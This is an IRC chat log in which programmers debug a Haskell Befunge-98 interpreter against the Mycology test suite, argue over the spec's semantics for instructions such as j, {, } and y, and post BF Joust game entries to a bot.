20:29:51 <elliott> No...
20:29:57 -!- ais523 has joined.
20:29:59 <Vorpal> elliott, that was what I was talking about
20:30:00 <Vorpal> ais523, hello!
20:30:14 <Deewiant> Use CCBI's algorithms, they're highly nontrivial but at least they're FAST
20:30:20 <ais523> wb me
20:30:54 <elliott> Deewiant: I'd have to convince myself that solving diophantines for wrapping is actually something a sane person could think of before doing that.
20:31:01 <elliott> And that will take a very, very long time.
20:31:28 <elliott> Oh yes. Deewiant: What the fuck does "s" do. I can't find it in the spec. Only in the reference.
20:31:28 <ais523> hmm, hopefully they aren't generalised diophantines
20:31:39 <Deewiant> Solving diophantines in the sense that you're solving differential equations when you write distance = speed * time
20:31:39 <Gregor> Why is it that whenever I put music anywhere, there's a bunch of indifferent people, one or two people who like it, and one audiophile douchetard who complains about the reverb effect or a particular synth instrument.
20:31:45 <elliott> "s "Store Character" is the mirror image of the ' instruction: this instead pops a value off the stack and writes it into (position + delta).
20:31:46 <elliott> "
20:31:47 <elliott> Aha.
20:31:56 <elliott> Deewiant: Right.
20:31:57 <ais523> Gregor: is it the same audiophile every time?
20:31:59 <elliott> Gregor: Hey, I like your music
20:32:04 <Gregor> ais523: No.
20:32:09 <Gregor> elliott: You're not the audiophile douchetard :P
20:32:12 -!- impomatic has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.16/20101130074636]).
20:32:37 <ais523> Gregor: elliott will just claim that the filename's written in Arial rather than Helvetica on the virtual album cover
20:32:45 <elliott> wat
20:32:48 <Gregor> X-D
20:33:08 <ais523> elliott: a friend of mine from work said that a certain range of PostScript printers actually detected that you were trying to print something in Arial and silently substituted Helvetica
20:33:15 <ais523> which is both evil and awesome
20:33:22 <elliott> I approve
20:33:26 <ais523> (presumably it was to make the output look better than that of other printers')
20:33:27 <elliott> not that anyone would notice :P
20:34:48 <elliott> Deewiant: Holy shit @ negative j.
20:34:55 <fizzie> elliott: It also skips over the newly written character, which is a bit of a shame; I used to hope 's' was sort-of an "execute from stack" thing.
20:35:06 <elliott> Deewiant: Wait, j skips over *spaces*. So is it actually indifferent to speed?
20:35:18 <Deewiant> j is like # but with an argument.
20:35:31 <elliott> Suuure :P
20:36:08 <olsner> ah, xfwm4 can be restarted without logging out, which fixed the taskbar bug
20:36:12 <Gregor> Uhhh, are Arial and Helvetica even metric-compatible? I guess they must be ...
20:36:16 <ais523> most WMs can, actually
20:36:17 <ais523> Gregor: they are
20:36:18 <elliott> Gregor: They're almost identical.
20:36:27 <elliott> Gregor: Except whenever they differ, Helvetica is significantly less ugly :P
20:36:36 <elliott> Especially R.
20:36:38 <elliott> *"R".
20:36:41 -!- pumpkin has joined.
20:36:52 <Gregor> I love the joyous life of being neither a typefaceofile nor an audiophile :P
20:37:06 <Gregor> I'll stick with better philias thank you very much.
20:37:18 <Vorpal> elliott, >1j is same as >#
20:37:37 <zzo38> Have you ever tried to design typefaces using METAFONT or any other program?
20:37:38 <Vorpal> (where > shows direction of entry)
20:37:57 <elliott> BAD: 'vs doesn't place v
20:37:57 <ais523> zzo38: I've designed a couple of very small ones in pixel editors (MS Paint-like programs)
20:37:58 <elliott> Yes it does.
20:38:07 <elliott> Gregor: Like paedo?
20:38:08 <Vorpal> elliott, not where it should
20:38:15 <Vorpal> elliott, which is directly after the s
20:38:20 <Gregor> zzo38: http://codu.org/gregor_handwriting.ttf BEST TYPEFACE EVER
20:38:22 <elliott> Vorpal: What, even ignoring the delta?
20:38:27 <Vorpal> elliott, err no
20:38:34 <Vorpal> elliott, directly after wrt delta of course
20:38:35 <elliott> doCharIns 's' = do
20:38:35 <elliott> x <- pop
20:38:35 <elliott> Ray (x,y) (dx,dy) <- gets (ray . ip)
20:38:35 <elliott> poke (x+dx,y+dy) x
20:38:35 <elliott> advance
20:38:45 <elliott> Looks fine to me, bitches.
20:38:46 <fizzie> Remember to skip over it.
20:38:50 <elliott> fizzie: "advance"
20:38:51 <elliott> Versus:
20:38:53 <elliott> doCharIns '\'' = do
20:38:53 <elliott> Ray (x,y) (dx,dy) <- gets (ray . ip)
20:38:53 <elliott> push =<< peek (x+dx, y+dy)
20:38:53 <elliott> advance
20:38:55 <Gregor> elliott: If p[a]ed means both "foot" and "child", then what's the proper name for a foot fetish? ANSWER ME THAT
20:38:57 <elliott> Direct inversions.
20:39:03 <elliott> Gregor: PRECISELY
20:39:13 -!- copumpkin has quit (Ping timeout: 240 seconds).
20:39:18 <zzo38> Gregor: "Footfetish".
20:39:26 <Vorpal> how zzo
20:39:29 <elliott> *Paedophilia
20:39:38 <elliott> `addquote <ineiros> HELLWORLD! <fizzie> It's like HELLO WORLD, except not *quite*. <ineiros> There is more agony.
20:39:39 <HackEgo> 299) <ineiros> HELLWORLD! <fizzie> It's like HELLO WORLD, except not *quite*. <ineiros> There is more agony.
20:40:09 <elliott> OH
20:40:13 <elliott> x <- pop
20:40:13 <elliott> Ray (x,y) (dx,dy) <- gets (ray . ip)
20:40:13 <elliott> poke (x+dx,y+dy) x
20:40:13 <elliott> advance
20:40:14 <elliott> Vorpal: Spot the bug.
20:40:20 <elliott> Look at the poke line.
20:40:21 <fizzie> Heh, x.
20:40:28 <elliott> DON'T GIVE IT AWAY :D
20:40:29 <Vorpal> hah
20:40:50 <fizzie> Did notice it before the "poke line" comment, but only now on the second look.
20:40:53 <elliott> BAD: 04-j jumps forward
20:40:54 <Vorpal> elliott, why aren't you using coq for all but the main loop?
20:40:56 <elliott> Fuckin' doesn't >_<
20:40:59 <elliott> Vorpal: LET ME THIN
20:41:00 <elliott> *THINK
20:41:04 <fizzie> Doesn't your compilator give a "x hides x" sort of warnings?-)
20:41:11 <elliott> if n >= 0
20:41:11 <elliott> then replicateM_ (fromIntegral n) advance
20:41:11 <elliott> else replicateM_ (fromIntegral n) retreat
20:41:12 <elliott> SPOT THE FAIL
20:41:13 <Vorpal> fizzie :D
20:41:17 <elliott> fizzie: Err, yes, I have -Wall turned off.
20:41:19 <elliott> Why is that X-D
20:41:33 <elliott> Holy shit so many warnings
20:41:39 <Vorpal> elliott, hahaha
20:41:47 <zzo38> What would happen if you have some program to make music from a METAFONT output?
20:41:49 <elliott> Mostly because I use ip as the accessor name and variable name.
20:41:54 <elliott> Which will fix itself when I introduce Concurrent Funge.
20:41:57 <elliott> Because it'll turn into "ips".
20:42:29 <elliott> Hey Deewiant, I fixed it but your thing says it's still not-fixed, what givens
20:42:50 <Deewiant> You fixened it wrongly
20:42:59 <elliott> n <- pop
20:42:59 <elliott> if n >= 0
20:42:59 <elliott> then replicateM_ (fromIntegral n) advance
20:42:59 <elliott> else replicateM_ (fromIntegral (abs n)) retreat
20:42:59 <elliott> where retreat = do
20:42:59 <elliott> fs <- gets fungeSpace
20:43:01 <elliott> modifyRay (\(Ray (x,y) (dx,dy)) -> nextPos fs (Ray (x,y) (-dx,-dy)))
20:43:03 <elliott> Your mom is wrongly
20:43:07 <elliott> Oh
20:43:10 <elliott> That flips the delta permanently
20:43:11 <elliott> Durrrr
20:43:15 <Vorpal> elliott, so is your code!
20:43:41 <elliott> I like how somehow Deewiant's code can recover from the delta flipping on negative j.
20:44:51 <Vorpal> elliott, it is a test suite
20:45:06 <Vorpal> it has to be able to give you errors
20:45:18 <elliott> :t foldlM
20:45:19 <lambdabot> Not in scope: `foldlM'
20:45:21 <elliott> :t foldM
20:45:22 <lambdabot> forall a b (m :: * -> *). (Monad m) => (a -> b -> m a) -> a -> [b] -> m a
20:45:24 <Vorpal> elliott, and then I guess it just happens to go with > or such to the same place
20:45:54 <Deewiant> It's an obvious mistake to make.
20:46:09 <elliott> Deewiant: Obvious howso :P
20:46:20 <Deewiant> I think I made it :-D
20:46:30 <elliott> BAD: u doesn't reflect when stack stack has only one stack
20:46:30 <elliott> ...yes it does you stupid thing
20:46:39 <elliott> ss <- gets stackStack
20:46:39 <elliott> case ss of
20:46:39 <elliott> [] -> reflect
20:46:39 <elliott> _ -> do
20:46:49 <Vorpal> elliott, is that u or } ?
20:46:50 <Deewiant> [_] -> reflect ?-)
20:47:10 <Vorpal> and what Deewiant said
20:47:13 <Vorpal> seems obvious
20:47:41 <elliott> Deewiant: Oh X-D
20:47:47 <elliott> Vorpal: Seems obvious because you didn't write it
20:47:48 -!- Lymia_ has joined.
20:47:49 <Vorpal> Deewiant, u doesn't reverse does it?
20:47:58 <elliott> Clearly does
20:47:59 <Vorpal> elliott, I know
20:48:11 <Vorpal> okay so if u reverse, is it { and } that don't?
20:48:25 <Vorpal> I know ONE of them doesn't
20:48:26 <elliott> { reflects on out-of-memory.
20:48:29 <elliott> } reflects on empty stack stack.
20:48:33 <Vorpal> elliott, I mean when copying
20:48:34 <elliott> Err, *less than two elemented stack stack.
20:48:36 <elliott> Oh.
20:48:45 -!- impomatic has joined.
20:48:49 <elliott> Neither reflects when copying, I don't think,
20:48:50 <elliott> *think.
20:48:53 <Vorpal> elliott, I would have said reflect otherwise
20:48:54 <Vorpal> :P
20:49:08 <elliott> "If count is negative, |count| cells are transferred (similarly in a pop-push loop) from the TOSS to the SOSS."
20:49:11 <elliott> fffuuu
20:49:20 <Vorpal> elliott, I'm pretty sure u and {,} do different things for the order of copying
20:49:23 <Vorpal> one is like reversing
20:49:27 <Vorpal> the other is like memcpy
20:50:07 <Vorpal> yep I even use memcpy to do the job
20:50:25 <Vorpal> in {
20:50:38 <Vorpal> elliott, anyway u doesn't copy in the same order as { and }
20:50:45 <elliott> I know.
20:50:46 <elliott> BAD: fedcba0{05-} doesn't leave 15 on stack
20:50:50 <elliott> OK, I had better fix this before going on any further.
20:50:58 -!- Lymia__ has quit (Ping timeout: 240 seconds).
20:51:10 <Vorpal> elliott, would be useful if it printed what it left on instead
20:51:15 <elliott> Yes, yes it would.
20:52:43 <elliott> Deewiant: You really need something in the readme about that error :P
20:52:49 <elliott> I have no idea what kind of bug it implies in my {} impl.
20:53:07 <Vorpal> elliott, copy to another file. Add a print statement. Check.
20:53:21 <Deewiant> It doesn't even have a corresponding GOOD
20:53:30 <elliott> Deewiant: What's the desired result?
20:53:37 <Deewiant> 15 on the stack? :-D
20:53:40 <elliott> Vorpal: Knowing what the stack ends with wouldn't help. Knowing what it should end with would.
20:53:42 <Vorpal> Deewiant, why on earth?
20:53:47 <elliott> Deewiant: I don't understand :P
20:53:48 <Deewiant> It looks like the 0{ doesn't do anything
20:53:48 <Vorpal> elliott, 15
20:53:55 <Deewiant> And then the 05-} drops 5 cells from the SOSS
20:53:59 <Deewiant> And drops the TOSS
20:54:01 <Deewiant> Leaving 15 on the TOSS
20:54:09 <elliott> if n >= 0
20:54:09 <elliott> then transferBlock (fromIntegral n)
20:54:09 <elliott> else replicateM_ (fromIntegral (abs n)) $ push 0
20:54:11 <elliott> From }.
20:54:19 <Vorpal> elliott, that's for { not for }
20:54:22 <elliott> No.
20:54:23 <elliott> That's from }.
20:54:29 <Vorpal> elliott, they do different things for negative arguments...
20:54:41 <elliott> Argh, so they do.
20:54:49 <Deewiant> } doesn't push stuff with negative args
20:54:56 <Vorpal> it pops yeah
20:55:09 -!- oerjan has quit (Quit: Good night).
20:55:16 <elliott> Great, now I need to make y not reflect.
20:55:22 <Vorpal> elliott, have *fun*
20:55:32 <elliott> Ehh, y doesn't sound that hard.
20:55:41 <Vorpal> elliott, y takes a lot of time to implement. Not because it is hard. But because it is a chore.
20:55:56 <Vorpal> elliott, though the y-as-pick can be tricky to get right
20:56:17 <elliott> Least Significant Bit 0 (0x01): high if t is implemented. (is this Concurrent Funge-98?)
20:56:17 <elliott> Bit 1 (0x02): high if i is implemented.
20:56:18 <elliott> Bit 2 (0x04): high if o is implemented.
20:56:20 <elliott> Bit 3 (0x08): high if = is implemented.
20:56:28 <elliott> Deewiant: Will Mycology only test t if I say it supports it?
20:56:36 <Deewiant> Yes
20:56:38 <elliott> I plan to implement all of those, so I'd prefer to just construct one flag :P
20:56:40 <elliott> Deewiant: HATE YOU
20:56:53 <Deewiant> Erm?
20:57:04 <Deewiant> Something wrong with just pushing 0b1111 now?
20:57:18 <elliott> Deewiant: Because it'll probably die after shit fails? :P
20:57:36 <Vorpal> elliott, so push 0 for now and then change when it implements stuff
20:57:46 <Deewiant> What would you prefer?
20:57:57 <Deewiant> That I always treat it as though you pushed 0b1111? :-P
20:58:04 <elliott> Deewiant: Yes :P
20:58:08 <elliott> :t sizeOf
20:58:09 <lambdabot> Not in scope: `sizeOf'
20:58:11 <Vorpal> elliott, that would make no sense
20:58:12 <elliott> :info Enum
20:58:14 <elliott> :info Bounded
20:58:20 <Deewiant> Why is that better than you just pushing it
20:58:36 <elliott> :t logBase
20:58:37 <lambdabot> forall a. (Floating a) => a -> a -> a
20:58:45 <elliott> > logBase 2 (maxBound :: Int32)
20:58:46 <lambdabot> No instance for (GHC.Float.Floating GHC.Int.Int32)
20:58:46 <lambdabot> arising from a use of...
20:58:50 <elliott> >_<
20:59:20 <Vorpal> elliott, I'm not very surprised at that error
20:59:25 <impomatic> !bfjoust chainmail http://candlebags.co.uk/temp/3.txt
20:59:30 <elliott> > logBase 2 (fromIntegral $ maxBound :: Int32)
20:59:31 <lambdabot> No instance for (GHC.Float.Floating GHC.Int.Int32)
20:59:31 <lambdabot> arising from a use of...
20:59:35 <Vorpal> static void push_yval(funge_cell request, instructionPointer * restrict ip, funge_stack * restrict pushStack)
20:59:35 <Vorpal> {switch (request) {
20:59:36 <Vorpal> what the
20:59:38 <Vorpal> I wrote that?
20:59:39 <Vorpal> wtf
20:59:42 <elliott> @hoogle Int32 -> Double
20:59:42 <lambdabot> Prelude fromIntegral :: (Integral a, Num b) => a -> b
20:59:42 <lambdabot> Prelude realToFrac :: (Real a, Fractional b) => a -> b
20:59:42 <lambdabot> Unsafe.Coerce unsafeCoerce :: a -> b
20:59:44 <elliott> Vorpal: Nice indentation style.
20:59:46 <EgoBot> Score for impomatic_chainmail: 43.9
20:59:54 <elliott> > logBase 2 (fromIntegral $ (maxBound :: Int32))
20:59:55 <lambdabot> 30.999999999328196
20:59:56 <Deewiant> elliott: :: binds looser than $
20:59:57 <Vorpal> elliott, indeed!
20:59:58 <Deewiant> Right
21:00:00 <Vorpal> elliott, will fix it
21:00:06 <elliott> Int32 is 31-bit?
21:00:08 <elliott> Oh, wait, no.
21:00:13 <elliott> > ceil (logBase 2 (fromIntegral $ (maxBound :: Int32)) + 1)
21:00:14 <lambdabot> Not in scope: `ceil'
21:00:17 <elliott> > ceiling (logBase 2 (fromIntegral $ (maxBound :: Int32)) + 1)
21:00:18 <lambdabot> 32
21:00:26 <elliott> <jix> elliott: Data.Bits.bitSize
21:00:35 <elliott> jix: COULDA HELPED ME BEFORE I RESORTED TO #HASKELL :P
21:01:02 <jix> I'm not following here ;)
21:01:09 <elliott> that's your fault :D
21:01:10 <Vorpal> well that's fixed then
21:01:40 <elliott> 0x5348524F.
21:01:43 <elliott> Write that down.
21:02:07 <Vorpal> elliott, you remember that y will have to act as pick into stack if you request a value past the range of y?
21:02:22 <elliott> Yes.
21:02:29 <Vorpal> elliott, also that the parameter is *cell*-based. Not "request"-based
21:02:34 -!- cheater- has quit (Ping timeout: 240 seconds).
21:03:19 <fizzie> And some requests are variable-size.
21:03:31 -!- cheater- has joined.
21:03:47 <Vorpal> Deewiant, I remember I managed to speed up mycology a lot by optimising the stuff HRTI used as a wait loop. I think you changed that since though.
21:03:48 <elliott> fizzie: oh joy
21:04:02 <Deewiant> ff*kyn
21:04:12 <Deewiant> I don't think I changed it, maybe I did
21:04:28 <Vorpal> Deewiant, hm. The thing is to do the two values it end up sending to y there fast
21:04:33 <elliott> lmao
21:04:40 <elliott> dons just thought i was a galois guy
21:04:41 <elliott> (elliottt)
21:05:29 <impomatic> !bfjoust test >(-{}>)*7(>+++[[-]])*21
21:06:32 <elliott> 1 vector containing the least point which contains a non-space cell, relative to the origin (env)
21:06:32 <elliott> guys
21:06:36 <elliott> that isn't the corner of the rectangle
21:06:42 <elliott> not even the minimal rectangle
21:06:44 <elliott> do you see?
21:06:54 <elliott> it has to contain a non-space cell
21:07:26 <Vorpal> elliott, that is the inner border of the infinitely thin rectangle between space and non-space
21:07:37 <Vorpal> or what do you mean
21:07:45 <elliott> Vorpal: if you have
21:07:45 <EgoBot> Score for impomatic_test: 5.6
21:07:48 <elliott> a
21:07:48 <elliott>
21:07:48 <elliott>
21:07:48 <elliott>
21:07:49 <elliott>
21:07:50 <elliott> b
21:07:53 <elliott> then you can't have
21:07:57 <elliott> (0,0) as that value
21:07:59 <elliott> it has to be
21:08:02 <Vorpal> elliott, of course not
21:08:04 <elliott> (3,0)
21:08:05 <Vorpal> wait
21:08:07 <Vorpal> what
21:08:08 <elliott> well nobody told me you had to keep track of that
21:08:13 <elliott> Vorpal: 1 vector containing the least point which contains a non-space cell, relative to the origin (env)
21:08:18 <elliott> containing the least point which CONTAINS A NON-SPACE CELL
21:08:19 <elliott> Deewiant
21:08:24 <Vorpal> Deewiant, are we in trouble here?
21:08:25 <elliott> LOL UR ALL FUKED
21:08:26 <impomatic> 2 minutes for bfjoust results :-( It seemed like I was waiting forever. ;-)
21:08:29 <elliott> FUKED FUKED FUKED
21:08:34 <elliott> :DDDDDDDDDDD
21:08:41 * elliott lolling
21:08:45 <Vorpal> elliott, looks like it. But just do what everyone else does
21:08:46 <Deewiant> What's going on
21:08:49 <elliott> Deewiant: lol
21:08:51 <elliott> <elliott> Vorpal: 1 vector containing the least point which contains a non-space cell, relative to the origin (env)
21:08:52 <elliott> <elliott> containing the least point which CONTAINS A NON-SPACE CELL
21:08:55 <elliott> Deewiant: it's not the rectangle bounds
21:08:59 <fizzie> I think most people would just apply a smidgeon of sanity there.
21:08:59 <elliott> Deewiant: it's even more crazy
21:09:10 <Vorpal> god damn
21:09:15 <elliott> fizzie: That's *not* *what* *it* *says*. The fact that 0k does two less than 1k is also insane :P
21:09:19 <Vorpal> elliott, it contradicts itself too
21:09:19 <elliott> HAHAHAHA
21:09:26 <Vorpal> elliott, because it says it is suitable for use with o
21:09:28 <Vorpal> somewhere
21:09:28 <elliott> Vorpal: lmao
21:09:32 <elliott> 1 vector containing the least point which contains a non-space cell, relative to the origin (env)
21:09:32 <elliott> 1 vector containing the greatest point which contains a non-space cell, relative to the least point (env)
21:09:32 <elliott> These two vectors are useful to give to the o instruction to output the entire program source as a text file.
21:09:33 <elliott> no, no they're not
21:09:36 <Vorpal> elliott, and it no longer is with your way of reading it
21:09:42 <Deewiant> elliott: These two vectors are useful to give to the o instruction to output the entire program source as a text file.
21:09:48 <elliott> Deewiant: So? That's just a remark.
21:09:50 <elliott> "Useful" is subjective.
21:09:53 <Deewiant> For that to work, they can't be as described
21:09:57 <elliott> What it says isn't subjective.
21:10:03 <elliott> You are wilfully breaking the direct, clear specification.
21:10:06 <Deewiant> There is no single "least point containing a non-space cell"
21:10:11 <elliott> Sure there is.
21:10:14 <elliott> The point closest to the border.
21:10:14 <Deewiant> a
21:10:15 <Deewiant> a
21:10:18 <elliott> I guess you could have two equidistant :P
21:10:19 <Deewiant> Which is it
21:10:21 <Deewiant> Exactly
21:10:30 <elliott> Deewiant: I don't like how we ignore the spec when it makes no sense :P
21:10:34 <Vorpal> Deewiant, actually you mean
21:10:35 <Vorpal> a
21:10:35 <Vorpal> a
21:10:39 <Vorpal> rather than the other one
21:10:47 <fizzie> Doesn't everyone already ignore the direct, clear specification when it comes to t?-)
21:10:48 <Deewiant> Whatever
21:10:52 <Deewiant> And yes
21:10:54 <elliott> 1 cell containing current ((year - 1900) * 256 * 256) + (month * 256) + (day of month) (env)
21:10:56 <elliott> ffffff
21:11:01 <Deewiant> elliott: According to the spec, t is a forkbomb
21:11:05 <Deewiant> Going to implement that?
21:11:06 <elliott> Deewiant: Yes
21:11:08 <Deewiant> Okay
21:11:10 <Deewiant> Have fun
21:11:11 <elliott> :D
21:11:12 <impomatic> !bfjoust scimitar >
21:11:23 <EgoBot> Score for impomatic_scimitar: 8.9
21:11:38 <elliott> Deewiant: Is time local or UTC?
21:11:46 <Vorpal> elliott, UTC I think?
21:11:47 <Vorpal> no?
21:11:51 <Deewiant> Undef, I think I give UTC because there's no way of giving tz info
21:11:55 <elliott> Okay.
21:12:02 <Vorpal> at least that I use UTC
21:17:24 <ais523> <Deewiant> elliott: According to the spec, t is a forkbomb <--- does it not advance the IP in one of the threads?
21:17:50 <Vorpal> ais523, exactly
21:17:54 <Deewiant> Not according to the spec :-)
21:18:06 <ais523> hmm, fingerprint suggestion: a feral fingerprint that changes the semantics of commands like k and t to something sane, and otherwise leaves everything much the same
21:18:11 <Deewiant> The child's delta is reversed but the position is unchanged
21:18:39 <Vorpal> Deewiant, you could have a thread overwrite the t?
21:18:54 <Deewiant> No, because the child is executed first
21:19:07 <Vorpal> Deewiant, yes so you get two threads
21:19:22 <ais523> Vorpal: no, the child is executed first, and executes t
21:19:42 <ais523> hmm, then what executes next? the grandchild, or original parent?
21:19:46 <Vorpal> I thought it was executed before parent is executed again but after other threads are executed
21:19:48 <ais523> if it's original parent, there's hope for t yet
21:20:03 <elliott> > 256^2
21:20:03 <lambdabot> 65536
21:20:09 <Deewiant> > 2^256
21:20:09 <lambdabot> 115792089237316195423570985008687907853269984665640564039457584007913129639...
21:20:10 <ais523> elliott: err, what?
21:20:14 <elliott> nothing :D
21:20:19 <ais523> s
21:20:23 <ais523> also, 1cnis does bignum now
21:20:34 <Vorpal> lcnis?
21:20:37 <elliott> [[size-of-stack-stack cells containing size of each stack, listed from TOSS to BOSS (ip)]]
21:20:38 <elliott> MOST
21:20:39 <ais523> "use bignum;" isn't enough, I have to work out exactly where to use bignits
21:20:39 <elliott> FAILINGEST
21:20:40 <elliott> THING
21:20:41 <elliott> EVER
21:20:41 <ais523> Vorpal: geta better font
21:21:02 <Vorpal> ais523, my question remains even when spelling is corrected: 1cnis?
21:21:08 <ais523> http://esolangs.org/wiki/1cnis
21:21:16 <ais523> *get a
21:21:22 <elliott> [[a series of sequences of characters (strings), each terminated by a null, the series terminated by an additional double null, containing the command-line arguments. (env)
21:21:22 <elliott> This means any isolated argument can be a null string, but no two consecutive arguments may be null strings - a rather contrived scenario, null string arguments being rare in themselves.
21:21:22 <elliott> The first string is the name of the Funge source program being run.]]
21:21:28 <elliott> You're kidding me.
21:21:28 <Vorpal> elliott, why does that thing fail
21:21:34 <elliott> Vorpal: dynamic size
21:21:38 <Vorpal> elliott, hah
21:21:38 <elliott> But I repeat:
21:21:39 <elliott> You're kidding me.
21:21:50 <ais523> elliott: I have interps which accept two consecutive null strings as args, usefully
21:21:55 <Vorpal> elliott, and then there is the cmd line args ant the environment variables
21:21:56 <elliott> So what do you do if you get two consecutive null args
21:21:58 <elliott> Error out?
21:22:06 <ais523> not Befunge interps, though
21:22:19 <Vorpal> elliott, generally the befunge program becomes confused
21:22:22 <impomatic> !bfjoust voodoo >(-{}>)*8([(>[-])*21]>)*21
21:22:26 <EgoBot> Score for impomatic_voodoo: 20.6
21:22:29 <elliott> -- PLACEHOLDER: ARGUMENTS
21:22:29 <elliott> push 98
21:22:29 <elliott> push 0
21:22:29 <elliott> push 0
21:22:50 <Vorpal> elliott, what about environment variables!?
21:24:22 <elliott> Vorpal: push 0
21:24:38 <Vorpal> elliott, you need do provide it at some point
21:25:02 <Vorpal> elliott, don't you have a push-gnirts function yet?
21:25:16 <elliott> Nope.
21:25:23 <ais523> heh, I looked back at the scoreboard trying to figure out if tripstridewire had fallen off yet, and concluded that it had because I couldn't see it near the bottom
21:25:26 <Vorpal> elliott, it is even more useful for fingerprints
21:25:29 <elliott> But more importantly, I'd like to preprocess the arguments.
21:25:33 <impomatic> !bfjoust voodoo >(-{>}+)*8(>)*7([(>[-])*21]>)*21
21:25:37 <ais523> it seems it's somehow ended up doing much better while I went home
21:25:38 <EgoBot> Score for impomatic_voodoo: 1.5
21:25:42 <elliott> Vorpal: As I said, I refuse to make anything cleaner until it passes Mycology.
21:25:43 <Vorpal> elliott, well yes taking flags for program or such?
21:25:49 <elliott> Vorpal: And rejecting '' ''.
21:26:05 <ais523> that draw with mirage is still amazing, though
21:26:10 <elliott> toGregorian :: Day -> (Integer, Int, Int)Source
21:26:10 <elliott> convert to proleptic Gregorian calendar. First element of result is year, second month number (1-12), third day (1-31).
21:26:12 <elliott> I like that Integer year.
21:26:12 <ais523> given that it's not symmetrical at all
21:26:17 <Vorpal> elliott, generally we have this situation: ./interpreter -flags program.b98 argument1 argument2. The program should not get the flags
21:26:18 <elliott> You know, for the Y2^64 problem.
21:26:29 <Vorpal> it should get: program.b98 argument1 argument2
21:26:30 <Phantom_Hoover> The Church of Scientology is under investigation for slave labour.
21:26:34 <Phantom_Hoover> You couldn't make this up.
21:26:48 <Vorpal> elliott, -1900
21:26:54 <Vorpal> Phantom_Hoover, link...
21:27:22 <elliott> type Pico = Fixed E12Source
21:27:22 <elliott> resolution of 10^-12 = .000000000001
21:27:23 <elliott> Heh.
21:27:23 <Phantom_Hoover> Well, human trafficking.
21:27:24 <Phantom_Hoover> Sill.
21:27:28 <impomatic> !bfjoust voodoo >(-)*8>(+)*8(>)*7([(>[-])*21]>)*21
21:27:30 <Phantom_Hoover> http://gawker.com/#!5753356/the-fbi-is-investigating-scientology-for-human-trafficking
21:27:34 <EgoBot> Score for impomatic_voodoo: 8.2
21:27:41 <Vorpal> Phantom_Hoover, even more extreme
21:27:42 <Phantom_Hoover> That's actually more reliable than my initial source.
21:27:45 <ais523> !bfjoust idea_stolen_from_quintopia ([](+)*99)*100000
21:27:53 <EgoBot> Score for ais523_idea_stolen_from_quintopia: 17.6
21:28:01 <elliott> TODO: Make alias for (push . fromIntegral).
21:28:03 -!- zzo38 has quit (Remote host closed the connection).
21:28:06 <elliott> Phantom_Hoover: When Gawker is more reliable than your original source...
21:28:12 <elliott> Also, jesus, that redesign.
21:28:27 <Vorpal> elliott, the new page seems to need javascript!
21:28:30 <ais523> impomatic: what happened to scimitar? did you rename it?
21:28:30 <Vorpal> how fun
21:28:31 <elliott> It does, yes.
21:28:32 <impomatic> !bfjoust voodoo >(-{}>)*8([(>[-])*21]>)*21
21:28:35 <Phantom_Hoover> elliott, yes, I know.
21:28:36 <EgoBot> Score for impomatic_voodoo: 20.4
21:28:36 <elliott> Vorpal: Read Engadget, folks!
21:28:43 <Vorpal> elliott, sometimes I do that
21:28:50 <elliott> That the system's path separator is <CTCP>
21:28:51 <elliott> O RLY
21:28:56 <Vorpal> elliott, you fail :P
21:28:58 <elliott> That the number of bytes per cell is 0
21:28:59 <elliott> O RLY
21:29:02 <ais523> that's a great path separator
21:29:02 <Phantom_Hoover> That's an Adrian Chen article, as well.
21:29:05 <elliott> That the interpreter's handprint is 0
21:29:05 <elliott> That the interpreter's version is 98
21:29:06 <elliott> O RLY (haha 98)
21:29:11 <elliott> That the behaviour of = is unavailable
21:29:11 <elliott> O RLY
21:29:13 <elliott> omg
21:29:16 <elliott> That this Funge has 1388334 dimensions
21:29:18 <elliott> That this Funge has 1388334 dimensions
21:29:20 <elliott> That this Funge has 1388334 dimensions
21:29:22 <elliott> 1388334funge
21:29:23 -!- pikhq_ has quit (Read error: Operation timed out).
21:29:24 <Vorpal> elliott, you are off by something
21:29:27 <Phantom_Hoover> Yes, the original source was pretty damn unreliable.
21:29:29 <elliott> and the best:
21:29:31 <elliott> That the ID of the current IP is shiro: <<loop>>
21:29:43 <ais523> that dimension report makes no sense for being in the spec
21:29:45 <Vorpal> elliott, "shiro"? It said that?
21:29:52 <ais523> Vorpal: it looks to be a Haskell error
21:29:52 <elliott> Oh, forgot to push IP ID.
21:29:54 <Vorpal> ais523, why not?
21:29:55 <quintopia> ais523: well it beat tripstridewire at least
21:29:55 <ais523> infinite loop detected
21:30:00 <elliott> Vorpal: "foo: <<loop>>" is when you make a really stupid infinite loop.
21:30:08 <Vorpal> elliott, oh
21:30:09 <Vorpal> hah
21:30:12 <impomatic> ais523: I tried replacing ((-)*128(>{(+.)*56}<)%8)*5 with ((-)*128(>{(+...)*28}<)%8)*10 etc all the way through thinking it might score better, but it scored exactly the same. I left the new version on (chainmail)
21:30:15 <Vorpal> elliott, haven't run into that yet
21:30:33 <ais523> impomatic: it would be very surprising if there were a difference
21:30:40 <elliott> After an execution of y with a non-positive argument, the stack contains many more cells (listed from top to bottom:)
21:30:41 <ais523> given the way the program works
21:30:45 <elliott> Turns out my whole thing is back-to-front.
21:30:55 <elliott> Say it with me now: FFFFFFFUUUUUUUUUUU
21:31:04 <Vorpal> elliott, YAAAAY
21:31:05 -!- pikhq has joined.
21:31:12 <Vorpal> FUUUUYAAAY that's it?
21:31:14 <Vorpal> isn't it?
21:31:33 <ais523> elliott: that seems easily fixable
21:31:48 <elliott> yes, but very irritating
21:32:10 <impomatic> ais523: now I'm trying to write a program they score differently against!
21:32:45 <ais523> impomatic: it'd have to, umm, give up if it tried for too long to sink the flag
21:32:47 <Vorpal> <ais523> that dimension report makes no sense for being in the spec <-- why not
21:32:58 <ais523> Vorpal: because you can't interpret the result of y without knowing the dimension anyway
21:32:59 <Vorpal> or do you mean that specific value
21:33:08 <elliott> That the stack sizes are [ 1 0 98 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ...
21:33:13 <Vorpal> ais523, you can?
21:33:14 <elliott> (infinite 0s)
21:33:20 <elliott> (well, almost infinite)
21:33:21 <ais523> unless, I suppose, it's above all the vectors
